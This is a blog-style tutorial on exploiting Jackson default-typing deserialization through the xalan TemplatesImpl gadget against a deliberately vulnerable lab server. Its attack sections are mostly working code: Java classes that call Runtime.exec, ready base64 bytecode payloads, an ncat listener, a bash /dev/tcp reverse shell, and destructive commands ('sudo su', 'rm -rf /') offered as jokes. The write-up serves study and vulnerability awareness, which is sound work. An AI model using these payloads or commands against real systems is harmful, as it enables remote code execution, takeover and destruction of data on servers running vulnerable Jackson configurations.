cons

Exploiting jackson deserialization vulnerabilities

Jackson is the standard serialization library for JVM based projects and you can see it quite often popping up in CVE lists. Many of those can allow remote code execution (RCE).

Before you start freaking out, please note that are likely not affected by this and then read this.

I was quite curious about the issue and was lucky enough to use my findings for a university project. This explanation helped me understand how those vulnerabilities were exploited.

Background

Details

Prerequisites

For the example in this document you will need the following things:

Setup

You will the following software:

I have created this sample project that contains a small echo web server using Spark and a debian based vagrant box (/box folder) that can be used to quickly provision an exploitable machine and run experiments on it.

In order to provision the machine you will need to download the first release of the oracle JDK 8 and put it in the /box directory.

Start the machine by running:

cd box && vagrant up

After a few minutes you should have a running Debian based Linux in VirtualBox and the echo web server accepting connections on port 4567 (the default Spark port).

You can verify the running service by issuing a POST request:

curl -d '{"id": 42}' -H "Content-Type: application/json" -X POST http://localhost:4567/echo

in which case you should get back:

{"id":42,"obj":null}

Classes, Gadgets and Base64

Classes

If you browse the repository you will find that this simple service has the definition of two dto classes:

public static class FooDto {
    public int id;
    public Object obj;
}

public static class BarDto {
    public String msg;
}

you see the suspicious Object obj in FooDto. This may seem a contrived example but there can be actual uses for this case: a UI that can edit arbitrary domain objects, a data warehouse API accepting a wide variety of objects to store etc. You should be able to avoid Object or generic interfaces (e.g. java.util.Serializable) as the nominal type and you should do that if polymorphic deserialization is enabled.

In order for this to work we need to activate default typing which has significant security implications and should be done only for trusted clients:

new ObjectMapper().enableDefaultTyping();

Let's see in action what this definition allows to do:

{
	"id": 123,
	"obj":[ "jacksploit.App$BarDto", { "msg": "ping" } ]
}

we passed the fully qualified class name and a corresponding payload for our obj field which will get us back the same thing:

{"id":123,"obj":["jacksploit.App$BarDto",{"msg":"ping"}]}

This example is very innocent as the classes used our the ones in our domain.

What about:

{
	"id": 123,
	"obj":[ "java.awt.Point", { "x": 5, "y": 10 } ]
}

which will get us:

{"id":123,"obj":["java.awt.Point",{"x":5.0,"y":10.0}]}

because Object is the root object of all java objects we can use any potential class that is on our classpath.

Gadgets

What are gadgets?

We can leverage the classes that exist in the xalan package. Using the provided JDK we can create a simple class like the following:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Exploit extends AbstractTranslet {
    public Exploit() throws Exception {
        Runtime.getRuntime().exec("gnome-calculator");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handler)  {
    }
}

compile it:

javac Exploit.java

and serialize it to base64:

cat Exploit.class | base64 -w 0

craft the following payload:

{
	"id": 123,
	"obj":[ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	{
		 "transletBytecodes" : [ "yv66vgAAADQAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAxFeHBsb2l0LmphdmEMAAcACAcAGgwAGwAcAQAQZ25vbWUtY2FsY3VsYXRvcgwAHQAeAQAHRXhwbG9pdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAIABAADAA0ABAALAAAABAABAAwAAQANAA4AAQAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAAgAAQANAA8AAQAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwAAQAQAAAAAgAR" ],
		 "transletName" : "foo",
		 "outputProperties" : { }

	}
	]
}

and POST it to our echo endpoint:

This will execute the gnome-calculator executable in our machine.

Note: the example above will not work if the service is running in the box or if you are not on a Linux with gnome-calculator installed.

Exploiting the running server

At this point we need to repeat the process but this time the plan is to not run a calculator app.

On our host machine we need to start listening for incoming connections:

ncat -nvlp 4242

We will create a new Exploit class, but this time will will issue a reverse shell connection to our host machine:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Exploit2 extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {

    public Exploit2() throws IOException, InterruptedException {
        Runtime r = Runtime.getRuntime();
        Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/10.0.2.2/4242;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        p.waitFor();
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Compile and base64 this class as explained in the previous section.

As expected the payload will be bigger this time:

{
	"id": 123,
	"obj":[ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	{
		 "transletBytecodes" : [ "yv66vgAAADQAMwoACwAbCgAcAB0HAB4IAB8IACAIACEKABwAIgoAIwAkCAAlBwAmBwAnAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgHACkBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHACoBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQANRXhwbG9pdDIuamF2YQwADAANBwArDAAsAC0BABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMBAFFleGVjIDU8Pi9kZXYvdGNwLzEwLjAuMi4yLzQyNDI7Y2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmUMAC4ALwcAMAwAMQAyAQBSZXhlYyA1PD4vZGV2L3RjcC8xMjcuMC4wLjEvNDI0MjtjYXQgPCY1IHwgd2hpbGUgcmVhZCBsaW5lOyBkbyAkbGluZSAyPiY1ID4mNTsgZG9uZQEACEV4cGxvaXQyAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAHd2FpdEZvcgEAAygpSQAhAAoACwAAAAAABAABAAwADQACAA4AAABOAAUAAwAAACYqtwABuAACTCsGvQADWQMSBFNZBBIFU1kFEgZTtgAHTSy2AAhXsQAAAAEADwAAABYABQAAAAoABAALAAgADAAgAA0AJQAOABAAAAAGAAIAEQASAAEAEwAUAAIADgAAABkAAAADAAAAAbEAAAABAA8AAAAGAAEAAAATABAAAAAEAAEAFQABABMAFgACAA4AAAAZAAAABAAAAAGxAAAAAQAPAAAABgABAAAAGAAQAAAABAABABUACQAXABgAAgAOAAAARgAFAAMAAAAiuAACTCsGvQADWQMSBFNZBBIFU1kFEglTtgAHTSy2AAhXsQAAAAEADwAAABIABAAAABsABAAcABwAHQAhAB4AEAAAAAYAAgASABEAAQAZAAAAAgAa" ],
		 "transletName" : "foo",
		 "outputProperties" : { }

	}
	]
}

and POST.

You will see your request hanging and a established incoming connection on your host machine.

Given that our service is running as the vagrant user we can verify our identity:

whoami

but we were born to be root, right?

sudo su

and we were destined to do big things in our lives, right?

rm -rf /

and nothing will stop us, right?

rm -rf --no-preserv-root

Tip: you can rebuild your vagrant box by destroying the machine:

vagrant destroy && vagrant up

Summary

In order to survive Java serialization apocalypse .

https://github.com/mbechler/marshalsec

https://github.com/FasterXML/jackson-databind/commit/60d459cedcf079c6106ae7da2ac562bc32dcabe1

https://frohoff.github.io/appseccali-marshalling-pickles/

https://brandur.org/fragments/gadgets-and-chains

security jackson jvm